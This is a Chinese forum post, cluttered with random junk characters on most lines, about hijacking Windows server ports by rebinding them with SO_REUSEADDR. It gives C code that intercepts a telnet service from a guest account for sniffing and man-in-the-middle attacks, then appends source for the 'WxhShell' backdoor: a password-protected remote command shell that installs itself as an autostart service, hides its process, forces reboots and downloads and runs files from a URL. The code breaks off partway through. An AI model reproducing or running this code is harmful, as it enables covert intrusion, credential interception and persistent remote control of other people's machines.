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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: TPBL|^3K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZwFVtR  
|//D|-2  
  saddr.sin_family = AF_INET; FQlYCb  
-:V0pb  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); VYo2m  
Fkvf[!Ci  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); dzbFUDJ  
t/vw%|AS  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 S^c; i  
WSsX*L  
  这意味着什么?意味着可以进行如下的攻击: } %bP9  
K ; e R)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 d#U~>wr  
#xoFcjRE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I1)t1%6"vJ  
xf7_|l  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 my}l?S[2d@  
Z.%0yS_T  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  "*T4%3dA  
lJJ`aYDp  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (:|rCZC  
K} ) w  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~(x"Y\PEu  
0% zy 6{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &~&oB;uR  
A|`mIma#  
  #include `gX$N1(  
  #include s= bP@[Gj  
  #include w s([bS2h  
  #include     nJ|M  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2DXV~>  
  int main() ,382O$C  
  { |@Ze{\  
  WORD wVersionRequested; "KKw\i  
  DWORD ret; j2`%sBo  
  WSADATA wsaData; 5_[we1$P  
  BOOL val; ^US ol/  
  SOCKADDR_IN saddr; Ve[[J"ze  
  SOCKADDR_IN scaddr; ^u+#x2$Mg  
  int err; _-:CU  
  SOCKET s; y4N2gBTKu  
  SOCKET sc; o#QS: '|  
  int caddsize; `&jG8lHa  
  HANDLE mt; D$fWeG{f  
  DWORD tid;   ,DD}o  
  wVersionRequested = MAKEWORD( 2, 2 ); 1'!%$D  
  err = WSAStartup( wVersionRequested, &wsaData ); 0gsRBy  
  if ( err != 0 ) { #A 7|=E  
  printf("error!WSAStartup failed!\n"); ld[BiP`B2V  
  return -1; lQqP4-E?  
  } |lMc6C  
  saddr.sin_family = AF_INET; 4G'-"u^g  
   @y/!`Ziw  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 mCSt.n~  
giHqc7-PaX  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3a0% J'  
  saddr.sin_port = htons(23); ddwokXx (  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9cQ;h37J>  
  { ke19(r Ch  
  printf("error!socket failed!\n"); ,*Z/3at}5M  
  return -1; 4l@aga  
  } 5Bp>*MR/".  
  val = TRUE; xm0(U0 >  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 FVWHiwRU,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 42=/$V  
  { I.- I4F)D  
  printf("error!setsockopt failed!\n"); >">grDX  
  return -1; ;{1  ws  
  } XB<Q A>dLh  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; S\sy] 1*?$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 df{6!}/(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 q{XeRQ'/  
yL_ \&v  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v+W4wD  
  { FKy2C:R(]  
  ret=GetLastError(); +&[X7r<  
  printf("error!bind failed!\n"); Uy<n7*H  
  return -1; -/R?D1kOq  
  } Q6r7UM  
  listen(s,2); %FJB9?9=|  
  while(1) co*XW  
  { ?~X^YxWsY  
  caddsize = sizeof(scaddr); hR,5U=+M7  
  //接受连接请求 &%4A3.qE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _VJG@>F9-  
  if(sc!=INVALID_SOCKET) >NZJ-:t  
  { MPMAFs  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >2mV {i&  
  if(mt==NULL) Bp/25jy  
  { $s,(-C   
  printf("Thread Creat Failed!\n"); BOme`0A  
  break; ztC>*SX  
  } yc0_ 7Im?  
  } ?I7%ueFY  
  CloseHandle(mt); Muok">#3.  
  } Xz"xp8Hc(6  
  closesocket(s); _+d*ljP)l3  
  WSACleanup(); vAzSpiv-  
  return 0; c\VD8 :  
  }   _f@nUv*  
  DWORD WINAPI ClientThread(LPVOID lpParam) ddEV@2F  
  { W_[ tdqey  
  SOCKET ss = (SOCKET)lpParam; "]B%V!@  
  SOCKET sc; S'=}eeG  
  unsigned char buf[4096]; yUvn h  
  SOCKADDR_IN saddr; .Ix[&+LsY  
  long num; gaR~K  
  DWORD val; d?A!0 ;(*  
  DWORD ret; ._6e#=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !fG}<6&i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V(0V$&qipc  
  saddr.sin_family = AF_INET; "B0I$`~wu  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); RU% 4~WC  
  saddr.sin_port = htons(23); m:c .dei5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SzyaVBD3  
  { 40%<E  
  printf("error!socket failed!\n"); @k\npFKQm  
  return -1; n7L|XkaQ  
  } ^AC2  zC  
  val = 100; jAfqC@e  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QFIYnxY9  
  { z,(.` %h  
  ret = GetLastError();  RAF do  
  return -1; 6!v$"u|[!'  
  } R,m|+[sl  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;8yEhar  
  { 3y yVI#  
  ret = GetLastError(); #1Ie v7w  
  return -1; a6 w'.]m  
  } 0 D&-BAzi  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f'O cW* t  
  { t<MO~_`!  
  printf("error!socket connect failed!\n"); _J>!K'Dz  
  closesocket(sc); W('V2Z-q  
  closesocket(ss); Dmr3r[  
  return -1; l{hO"fzy  
  } t_ id/  
  while(1) ?%Gzd(YEY  
  { *`V r P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r>J%Eu/O  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 mLDuizWI  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8@7leAq!  
  num = recv(ss,buf,4096,0); ~{ l @  
  if(num>0) $~NB .SY  
  send(sc,buf,num,0); *z)+'D*+  
  else if(num==0) iO7s zi  
  break; r}-vOPn`E  
  num = recv(sc,buf,4096,0); =,Z5F`d4  
  if(num>0) pI( H7 (  
  send(ss,buf,num,0); Ys8D|HIk  
  else if(num==0) +<fT\Oq#  
  break; a"phwCc"%  
  } [FeN(8hGS  
  closesocket(ss); t!o=-k  
  closesocket(sc); oW3Uyj  
  return 0 ; rs,:pU  
  } -d^c!Iu|  
.Zr3!N.t  
'}F..w/  
========================================================== #2;8/"v  
:Jo[bm  
下边附上一个代码,,WXhSHELL p/KG{-f,  
F{laA YE  
========================================================== %FLe@.Ep{D  
o_cAelI[!  
#include "stdafx.h" !r4B1fX  
OZ}o||/Rc  
#include <stdio.h> ]P)2Q!X  
#include <string.h> M4E==  
#include <windows.h> 3]67U}`  
#include <winsock2.h> 8?h&FbmB  
#include <winsvc.h> :b<<  
#include <urlmon.h> -+kTw06_C  
[9\Mf4lh#  
#pragma comment (lib, "Ws2_32.lib") yXBWu=w3`O  
#pragma comment (lib, "urlmon.lib") N\85fPSMG|  
6<No_x |_  
#define MAX_USER   100 // 最大客户端连接数 "MgTfUIiyD  
#define BUF_SOCK   200 // sock buffer ##'uekSJ  
#define KEY_BUFF   255 // 输入 buffer UDV6 ##$  
)zu m.6pT  
#define REBOOT     0   // 重启 I|_U|H!`  
#define SHUTDOWN   1   // 关机 6&,9=(:J&R  
>[4CQK`U  
#define DEF_PORT   5000 // 监听端口 p)s *Cw  
? J6\?ct4  
#define REG_LEN     16   // 注册表键长度 O[z-K K<  
#define SVC_LEN     80   // NT服务名长度 >g2Z t;*@w  
cCqmrjUmV  
// 从dll定义API J1Oe`my  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2bxW`.fa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O]G3l0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J['i  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WTwura,  
$mn+  
// wxhshell配置信息 #fq&yjl#A  
struct WSCFG { iy [W:<c7j  
  int ws_port;         // 监听端口 Je=k.pO1  
  char ws_passstr[REG_LEN]; // 口令 YeB)]$'?u`  
  int ws_autoins;       // 安装标记, 1=yes 0=no -8z@FLUK-  
  char ws_regname[REG_LEN]; // 注册表键名 d#:7V%]d p  
  char ws_svcname[REG_LEN]; // 服务名 BP8jReX^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GyGF<%nq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %h& F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .`/6[Zp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no < [q{0,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jB3Rue:+g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @Mf ZP~T+  
f# sDG  
}; =[YjIWr#o  
isor%R!  
// default Wxhshell configuration `bjPOA(g  
struct WSCFG wscfg={DEF_PORT, C@rIyBj1g  
    "xuhuanlingzhe", E6clVa  
    1, htOVt\+!34  
    "Wxhshell", [cw>; \J  
    "Wxhshell", 'h`)6{  
            "WxhShell Service", ?J28@rM  
    "Wrsky Windows CmdShell Service", .CEl{fofj  
    "Please Input Your Password: ", %B04|Q  
  1, \'>d.'d  
  "http://www.wrsky.com/wxhshell.exe", \  6 : 7  
  "Wxhshell.exe" DUvF  
    }; )\QPUdOvx  
EsjZ;D, c(  
// 消息定义模块 P5oYv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~~{+?v6B]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XWBTBL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @P6*4W  
char *msg_ws_ext="\n\rExit."; PG3,MCf:  
char *msg_ws_end="\n\rQuit."; 4/ Xu,pT  
char *msg_ws_boot="\n\rReboot..."; -5MQ/ujQ  
char *msg_ws_poff="\n\rShutdown..."; Lo5CVlK  
char *msg_ws_down="\n\rSave to "; Sj@VOW  
%)P)Xb  
char *msg_ws_err="\n\rErr!"; 5@`dKFB5  
char *msg_ws_ok="\n\rOK!"; 'rSJ9Mw"x  
X?n($z/ {  
char ExeFile[MAX_PATH]; _TjRvILC  
int nUser = 0; m " c6^)U  
HANDLE handles[MAX_USER]; I4MZ JAYk  
int OsIsNt; dS;Ui]/J  
V7$-4%NL  
SERVICE_STATUS       serviceStatus; iKAqM{(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f- ~]  
!X+}W[Ic^  
// 函数声明 $(&+NJ$U$  
int Install(void); Y(h (Z  
int Uninstall(void); GLa_[9 "  
int DownloadFile(char *sURL, SOCKET wsh); c<imqDf  
int Boot(int flag); -\V;Gw8mD  
void HideProc(void); X oh@(%  
int GetOsVer(void); j:xm>X'  
int Wxhshell(SOCKET wsl); k;pU8y6Y  
void TalkWithClient(void *cs); XrN]}S$N  
int CmdShell(SOCKET sock); 0oo*F  
int StartFromService(void); *DPKV$  
int StartWxhshell(LPSTR lpCmdLine); Y!3i3D  
YbP}d&L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9 N9Q#o$!.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oZ!+._9  
jP"yG#  
// 数据结构和表定义 !&5B&w{u~!  
SERVICE_TABLE_ENTRY DispatchTable[] = E rnGX#@v  
{ :0(:}V3z\  
{wscfg.ws_svcname, NTServiceMain}, BaOPtBYA:  
{NULL, NULL} -ei+r#  
}; vz`r !xj)  
;  8u5  
// 自我安装 c}D>.x|]  
int Install(void) I0(nRu<  
{ e4Xo(EY &  
  char svExeFile[MAX_PATH];  4B'-tV  
  HKEY key; f^ 6da6Z  
  strcpy(svExeFile,ExeFile); }!@X(S!do  
B}npom\tC  
// 如果是win9x系统,修改注册表设为自启动 GE |P)VO  
if(!OsIsNt) { -|`E'b81  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xoNn'LF#u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P*9L3R*=N  
  RegCloseKey(key); TPWqiA?3Cp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #5mnSky+s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r9$7P?zm  
  RegCloseKey(key); }BLT2]y0  
  return 0; <R8!fc{`  
    } SAGECK[Ix  
  }  7K &j  
} 5MS5 Q]/  
else { _43 :1!os  
~:):.5o  
// 如果是NT以上系统,安装为系统服务 J)_IfbY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #(d /A<  
if (schSCManager!=0) T.iVY5^<  
{ F+::UWKA  
  SC_HANDLE schService = CreateService #GA6vJ4^s  
  ( +@#k<.yqn  
  schSCManager, ~{BR~\D  
  wscfg.ws_svcname,  iT&Y9  
  wscfg.ws_svcdisp, 'EsdYx5C  
  SERVICE_ALL_ACCESS, J5*(PxDF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0} Lx}2  
  SERVICE_AUTO_START, t7b\#o  
  SERVICE_ERROR_NORMAL, %XK<[BF  
  svExeFile, \C;F5AO  
  NULL, 1JO@G3,  
  NULL, =1h> N/VJ  
  NULL, _chX {_Hu-  
  NULL, HLp'^  
  NULL pPt w(5bH  
  ); iJ 8I# j+N  
  if (schService!=0) /2AeJH\-  
  { ] ! :0^|  
  CloseServiceHandle(schService); _0=$ 2Y^  
  CloseServiceHandle(schSCManager); L'$;;eM4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R|O."&CAB  
  strcat(svExeFile,wscfg.ws_svcname); _#rE6./@q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JBvP {5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M>"J5yqR  
  RegCloseKey(key); sH{ 4.tw  
  return 0; Jb"0P`senY  
    } \' ;zD-MX  
  } 30nR2mB Kt  
  CloseServiceHandle(schSCManager); FV W&)-I  
} g7nqe~`{  
} kmfxk/F}  
=pR'XF%  
return 1; b_xGCBC  
} /E0/)@pDq  
E< Ini'od[  
// 自我卸载 (L7@ez  
int Uninstall(void) @E@5/N6M  
{ IL2OVLX  
  HKEY key; b^I(>l-  
sQ8_j  
if(!OsIsNt) { qGPIKu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @-F[3`HeA  
  RegDeleteValue(key,wscfg.ws_regname); Ci?A4q$.  
  RegCloseKey(key); q'~F6$kv5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _|%l) KO  
  RegDeleteValue(key,wscfg.ws_regname); qz2j55j   
  RegCloseKey(key); ($A0u mW1%  
  return 0; `L1lGlt  
  } _ZU.;0  
} a}#Jcy!e  
} ss>p  
else { #X?#v7i",D  
Kx@;LRY#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MY `V0  
if (schSCManager!=0) =ijVT_|u0  
{ _pS!sY~d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); / %:%la%  
  if (schService!=0) QN$Ac.F  
  { .qjdi`v  
  if(DeleteService(schService)!=0) { KJ&~z? X  
  CloseServiceHandle(schService); 3A5:D#  
  CloseServiceHandle(schSCManager); ubvXpK:.  
  return 0; f-b#F2I  
  } 5? rR'0  
  CloseServiceHandle(schService); ij/5m-{6)  
  } g =)djXW  
  CloseServiceHandle(schSCManager); d|c> Y(  
} ?c!W*`yP  
} v%6mH6V  
37M?m$BL  
return 1; o/Cu^[an  
} {F~:8 6z(g  
c3NUJ~>=y  
// 从指定url下载文件 C)|{7W  
int DownloadFile(char *sURL, SOCKET wsh) .oR_r1\y  
{ uNcE_<  
  HRESULT hr; LG qg0 (  
char seps[]= "/"; uI*2}Q   
char *token; 4H\+vJPM  
char *file; Q|`sYm'.  
char myURL[MAX_PATH]; O] nZr  
char myFILE[MAX_PATH]; `p. O  
9 yE   
strcpy(myURL,sURL); NgXV|) L  
  token=strtok(myURL,seps); O)4P)KAO<  
  while(token!=NULL) kj4t![o+  
  { *`HE$k!  
    file=token; (.DX</f/4  
  token=strtok(NULL,seps); iA[WDB\|0  
  } 9J!@,Zsh  
ZTwCFn  
GetCurrentDirectory(MAX_PATH,myFILE);  h'_@  
strcat(myFILE, "\\"); Vu`O%[Q/  
strcat(myFILE, file); pzPm(M1^X  
  send(wsh,myFILE,strlen(myFILE),0); u0vq`5L  
send(wsh,"...",3,0); 0R0j7\{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9W[ ~c"Ku  
  if(hr==S_OK) c G`R\ $  
return 0; [MkXQwY  
else mP?~#RZ  
return 1; )Z2l*fV  
X~Yj#@  
} u=5~^ 9  
zeZ}P>C  
// 系统电源模块 Yc*Ex-s  
int Boot(int flag) k7\h- yn{  
{ t*&O*T+fgy  
  HANDLE hToken; iw$n*1M  
  TOKEN_PRIVILEGES tkp; (Es0n$Xb  
d1`us G"  
  if(OsIsNt) { PJCRvs|X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0{Kb1Ut  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $g?`yE(K  
    tkp.PrivilegeCount = 1; F^v <z)x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n;eK2+}]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f~LM-7!zf}  
if(flag==REBOOT) { YMSA[hm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~S],)E1w  
  return 0; h zh%ML3L  
} $ +`   
else { t&r-;sH^[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #Zm%U_$<  
  return 0; $Y mD;  
} vPV=K+1  
  } Vko1{$}t  
  else { } h.]sF  
if(flag==REBOOT) { 6n 2LG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Iaq7<$XU  
  return 0; Z?vbe}pUM  
} d@:4se-q+  
else { hY?x14m$3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4mG?$kCN  
  return 0; oWZbfR9R  
} /uc*V6Xd (  
} 2xchjU-  
>l\?K8jL9  
return 1; 6%K,3R-d  
} *o/ Q#  
O>=D1no*  
// win9x进程隐藏模块 `g;`yJX<  
void HideProc(void) l>i<J1  
{ LM*#DLadk  
H$ !78/f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6S;-fj  
  if ( hKernel != NULL ) )$*T>.JA  
  { .@Z-<P"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9` /\|t|V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); '$]u?m  
    FreeLibrary(hKernel); p+O 2 :  
  } PD$g W`V  
J~0_  
return; yW&|ZJF?  
} DQ{Yr>J  
tFvc~zz9  
// 获取操作系统版本 Ip/_uDi+!Z  
int GetOsVer(void) 3H0~?z_  
{ AwhXCq|k  
  OSVERSIONINFO winfo; .c[v /SB]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tN' -4<+  
  GetVersionEx(&winfo); QMGMXa   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Wx;`=9  
  return 1; &ACM:&Ob  
  else ,[To)x5o  
  return 0; SBBDlr^P  
} E6iUa'  
niZ/yW{w  
// 客户端句柄模块 k_rtsN  
int Wxhshell(SOCKET wsl) -[cl]H)V  
{ `%lgT+~T  
  SOCKET wsh; RCED K\*m  
  struct sockaddr_in client; -5Qsc/ s&  
  DWORD myID; [p%@ pV  
VU1 ;ZJ E  
  while(nUser<MAX_USER) >&K1+FSmyJ  
{ i^[yGXtW  
  int nSize=sizeof(client); $V$|"KRcs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .".xNHR#  
  if(wsh==INVALID_SOCKET) return 1; ?QGAiu0  
ZyBNo]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); M<t>jM@'A#  
if(handles[nUser]==0) 'H0b1t1S%  
  closesocket(wsh); {/]Ks8`Dm  
else nwlo,[  
  nUser++; |Uz?i7z  
  } 8U8l 5r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =]h5RC  
"]}+QK_  
  return 0; ~Uw **PT3M  
}  Py$*c  
Xp <RG p7E  
// 关闭 socket @\ip?=  
void CloseIt(SOCKET wsh) M{S7tMX  
{ J]8nbl  
closesocket(wsh); &DdFK.lt  
nUser--; \S(:O8_"68  
ExitThread(0); :]%z8,6k  
} ' bio: 1  
} FcWzi  
// 客户端请求句柄 Ea@N:t?(8=  
void TalkWithClient(void *cs) %C*oy$.  
{ /esSM~*H  
Fy N@mX  
  SOCKET wsh=(SOCKET)cs; rf"%D<bb  
  char pwd[SVC_LEN]; ~8AcW?4Z  
  char cmd[KEY_BUFF]; <>,V> k|  
char chr[1]; Ob+L|FbnN  
int i,j; (,eH*/~/  
;\=W=wL(  
  while (nUser < MAX_USER) { V.Pb AN  
oXG,8NOdC  
if(wscfg.ws_passstr) { ~g$Pb[V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :_YpS w<Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1bb~u/jU  
  //ZeroMemory(pwd,KEY_BUFF); ye1kI~LO(  
      i=0; +D|y))fE  
  while(i<SVC_LEN) { kQXtO)  
W!g'*L/#L  
  // 设置超时 6dO )]  
  fd_set FdRead; -fu=RR  
  struct timeval TimeOut; O#Ab1FQn  
  FD_ZERO(&FdRead); ;wCp j9hir  
  FD_SET(wsh,&FdRead); N<ww&GXBX  
  TimeOut.tv_sec=8; 4J*%$Vxv  
  TimeOut.tv_usec=0; jJ-j   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UPgjf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I3o6ym-i  
'S<ebwRd=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hRZ9[F[[  
  pwd=chr[0]; 5!,`LM9  
  if(chr[0]==0xd || chr[0]==0xa) { GbG!vo  
  pwd=0; +.MHI   
  break; >(EMZ5  
  } Px:PoOw\  
  i++; PNgj 8J4  
    } }ex2tkz  
FQSepUl  
  // 如果是非法用户,关闭 socket a2 fV0d6*l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hp6S *d  
} :~BY[")  
jLc4D'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -xtj:UO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z>+@pj   
RajzH2j+>  
while(1) { D]resk  
j.X3SQb4G  
  ZeroMemory(cmd,KEY_BUFF); aLTC#c%U  
{Cnz7TVB  
      // 自动支持客户端 telnet标准   mjG-A8y  
  j=0; !Q =H)\3  
  while(j<KEY_BUFF) { /,A:HM>B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .0;Z:x_3  
  cmd[j]=chr[0]; BKe~ y  
  if(chr[0]==0xa || chr[0]==0xd) { Kf D8S  
  cmd[j]=0; KOVGwEj  
  break; wN8-M e  
  } H\AJLk2E  
  j++; +s.r!?49+  
    } u-0-~TwD  
w$4fS  
  // 下载文件 UOy9N  
  if(strstr(cmd,"http://")) { yhg^1l|t,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !lp *0h(7  
  if(DownloadFile(cmd,wsh)) w=I8f}(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rI)op1K  
  else 57^ X@ra$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j-@3jFu  
  } hb'S!N5m  
  else { _oxhS!.*  
PJLSDIeN  
    switch(cmd[0]) { 3G|n`dj  
  [f,; +Ze  
  // 帮助 mnswG vY  
  case '?': { 'v iF8?_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {(#Dou  
    break; -bT1Qh X  
  } `)$'1,]u  
  // 安装 #x! h BS!  
  case 'i': { #@Yw]@5M  
    if(Install()) fF37P8Ir  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ).e_iE[&  
    else f"j~{b7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lgl%fO/<t  
    break; V(n7hpS  
    } 0w}OE8uq  
  // 卸载 gB,~Y511  
  case 'r': { hOjy$Z  
    if(Uninstall()) t=\y|Idc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WVlyR\.  
    else 'N#,,d/G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y}BT| "  
    break; -E_lwK  
    } q_K8vGm4e  
  // 显示 wxhshell 所在路径 FY h+G-Y#  
  case 'p': { Kt5;GUV  
    char svExeFile[MAX_PATH]; /f2HZfj  
    strcpy(svExeFile,"\n\r"); ~ _R 8; b  
      strcat(svExeFile,ExeFile); LRl2@&z<  
        send(wsh,svExeFile,strlen(svExeFile),0); $/sIdFZi  
    break; X,dOF=OJL  
    } j}~3m$  
  // 重启 _GSl}\  
  case 'b': { MBZ/Pzl~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H0tj Bnu   
    if(Boot(REBOOT)) ;^VLx)q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d 2f   
    else { 5{ ?J5  
    closesocket(wsh); C{7 j<O  
    ExitThread(0); *V}T}nK7  
    } HX\^ecZ#E  
    break; "i3wc&9!?W  
    } zyb>PEd.  
  // 关机 Hxe!68{aR  
  case 'd': { _?Q0yVH;,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BVAxeXO  
